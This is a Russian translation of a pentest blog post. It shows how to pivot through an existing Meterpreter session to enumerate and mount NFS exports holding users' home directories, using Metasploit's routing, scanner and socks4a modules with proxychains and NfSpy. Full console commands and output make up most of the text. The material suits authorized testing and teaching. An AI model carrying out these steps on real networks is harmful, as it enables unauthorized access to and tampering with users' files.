18.05.2013

Подключение общих ресурсов NFS, используя Meterpreter и NfSpy

image

Небольшая предыстория: во время пентеста вы обнаружили общий ресурс с NFS, в котором находятся директории папки /home и некоторые сети хранения данных (Storage Area Network, SAN) со всеми домашними папками пользователей Windows Active Directory (папка volumes/users).

Автор: Роб Фуллер (Rob Fuller)

Небольшая предыстория: во время пентеста вы обнаружили общий ресурс с NFS, в котором находятся директории папки /home и некоторые сети хранения данных (Storage Area Network, SAN) со всеми домашними папками пользователей Windows Active Directory (папка volumes/users). У вас в наличии только meterpreter-сессия. Проблема Metasploit заключается в том, что у него нет каких-либо вспомогательных модулей или инструментов для доступа к таким общим ресурсам. Также отсутствуют какие-либо утилиты для подключения общих ресурсов NFS поверх TCP-only прокси. Пожалуйста, поправьте меня, если я ошибаюсь.

Найти программу NfSpy можно по адресу: https://github.com/bonsaiviking/NfSpy

Первоначально планировалось использование NfSpy в качестве помощника для обхода механизмов безопасности NFS, однако у этой утилиты есть достаточное количество настроек для подключения NFS через Meterpreter.

Первым делом установим маршрут так, чтобы модуль aux использовал meterpreter-сессию:

route add 192.168.1.0 255.255.255.0 1

Единица в конце строки означает номер meterpreter-сессии. Теперь посмотрим доступные NFS-экспорты:

msf > use auxiliary/scanner/nfs/nfsmount
msf auxiliary(nfsmount) > show options

Module options (auxiliary/scanner/nfs/nfsmount):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 111 yes The target port
THREADS 1 yes The number of concurrent threads

msf auxiliary(nfsmount) > set RHOSTS 192.168.1.50
RHOSTS => 192.168.1.50
msf auxiliary(nfsmount) > run
[+] 192.168.1.50 NFS Export: /home [192.168.1.0/24]
[+] 192.168.1.50 NFS Export: /volume/users [192.168.1.0/24]

Кажется, доступ ограничен по диапазону IP-адресов, однако, к счастью, IP-адрес жертвы находится в указанном диапазоне. Последний штрих: нам необходимо получить список TCP-портов, которые прослушивает mountd. В этом нам также поможет модуль metasploit:

msf > use auxiliary/scanner/misc/sunrpc_portmapper
msf auxiliary(sunrpc_portmapper) > show options

Module options (auxiliary/scanner/misc/sunrpc_portmapper):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 111 yes The target port
THREADS 1 yes The number of concurrent threads

msf auxiliary(sunrpc_portmapper) > set RHOSTS 192.168.1.50
RHOSTS => 192.168.1.50
msf auxiliary(sunrpc_portmapper) > run

[+] 192.168.1.50 - Programs available
rpcbind - 111/tcp
rpcbind - 111/udp
status - 46797/udp
status - 55731/tcp
nfs - 2049/tcp
nfs_acl - 2049/tcp
nfs - 2049/udp
nfs_acl - 2049/udp
nlockmgr - 54167/udp
nlockmgr - 38216/tcp
mountd - 52569/udp
mountd - 37719/tcp
mountd - 39099/udp
mountd - 55763/tcp
mountd - 37808/udp
mountd - 54457/tcp
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Отлично. Сначала поработаем с папкой /home, используя mountd и tcp-порт 37719. Настраиваем socks-прокси в Metasploit:

msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.

msf auxiliary(socks4a) > set SRVPORT 9050
SRVPORT => 9050
msf auxiliary(socks4a) > set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server

В переменную SRVPORT я установил значение 9050, поскольку у меня уже есть proxychains, настроенный на этот порт (аля тор). Также я настоятельно рекомендую установить в переменную SRVHOST адрес 127.0.0.1, кроме случаев, когда в настройках вашего фаервола запрещено использование этого порта через Интернет или вы не возражаете против того, чтобы анонимы пользовались вашей meterpreter-сессией для доступа к клиентам.

Теперь воспользуемся nfspy (подготовьте директорию, куда будет подключаться папка /home):

proxychains nfspy -d -o server=192.168.1.50:/home,nfsport=2049/tcp,mountport=37719/tcp,rw /root/nfspy/mount
ProxyChains-3.1 (http://proxychains.sf.net)
FUSE library version: 2.8.6
nullpath_ok: 0
unique: 1, opcode: INIT (26), nodeid: 0, insize: 56
INIT: 7.16
flags=0x0000007b
max_readahead=0x00020000
|S-chain|-<>-127.0.0.1:9050-<><>-192.168.1.50:37719-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-192.168.1.50:2049-<><>-OK
INIT: 7.12
flags=0x00000011
max_readahead=0x00020000
max_write=0x00020000
unique: 1, success, outsize: 40

proxychains nfspy -d -o server=192.168.1.50:/home,nfsport=2049/tcp,mountport=37719/tcp,rw /root/nfspy/mount

Разберем последнюю команду поподробнее. Proxychains будет служить оберткой для nfspy, так, чтобы весь трафик шел через socks-прокси, настроенный ранее в Metasploit. Опция –d оставляет NfSpy на переднем плане, опция –о позволяет выставить дополнительные параметры. Server – наш целевой IP, символьное имя используйте только в том случае, если ваша система сможет преобразовать его в корректный IP-адрес. Далее идет имя NFS-экспорта, список которых мы получили ранее при помощи одного из модулей Metasploit. Стандартный NFS-порт: 2049. В опцию mountport устанавливаем один из портов, который прослушивается mountd (в нашем случае это 37719 порт). После номера порта не забудьте указать /tcp или вы будете просто ждать, поскольку отсутствует timeout, и Proxychains не показывает попытки подключения по UDP-протоколу. Опция RW устанавливает режим чтения/записи, и последняя папка – папка, куда будет подключаться ресурс.

Если вы видите, что второй запрос от proxychains идет на порт 2049, то обычно это хороший показатель того, что все работает. В противном случае, возможно, у вас проблемы, начиная от конфликтов с правами и заканчивая проблемами локального монтирования. NfSpy обычно не выводит сообщения об ошибках, когда возникают проблемы, или же эти сообщения бесполезны. Именно поэтому я использую опцию –d, которая оставляет работать nfspy на переднем плане, и могу видеть все сообщения об ошибках. Если все сработало, мы увидим нечто подобное:

ls /root/nfspy/mount
user1
user2
user3
user4

Помните, что по большим директориям навигация будет не такая быстрая. Следующий листинг показывает результат работы ls на стороне nfspy:

unique: 166, opcode: OPENDIR (27), nodeid: 34, insize: 48
unique: 166, success, outsize: 32
unique: 167, opcode: READDIR (28), nodeid: 34, insize: 80
readdir[0] from 0
unique: 167, success, outsize: 208
unique: 168, opcode: LOOKUP (1), nodeid: 34, insize: 46
LOOKUP /home/user3
getattr /home/user3
NODEID: 40
unique: 168, success, outsize: 144
unique: 169, opcode: LOOKUP (1), nodeid: 34, insize: 46
LOOKUP /home/user1
getattr /home/user1
NODEID: 41
unique: 169, success, outsize: 144
unique: 170, opcode: LOOKUP (1), nodeid: 34, insize: 46
LOOKUP /home/user4
getattr /home/user4
NODEID: 42
unique: 170, success, outsize: 144
unique: 171, opcode: LOOKUP (1), nodeid: 34, insize: 46
LOOKUP /home/user2
getattr /home/user2
NODEID: 43
unique: 171, success, outsize: 144

Вы можете подключать ресурсы в режиме чтения/записи или просто чтения, в зависимости от ваших потребностей и желаемого уровня незаметности.

И последнее. Вы не можете просто нажать CTRL-C и отключить /root/nfspy/mount. Для этого вам необходимо выполнить команду «fusermount -u /root/nfspy/mount». Если кто-то знает лучший способ – я весь во внимании.

или введите имя

CAPTCHA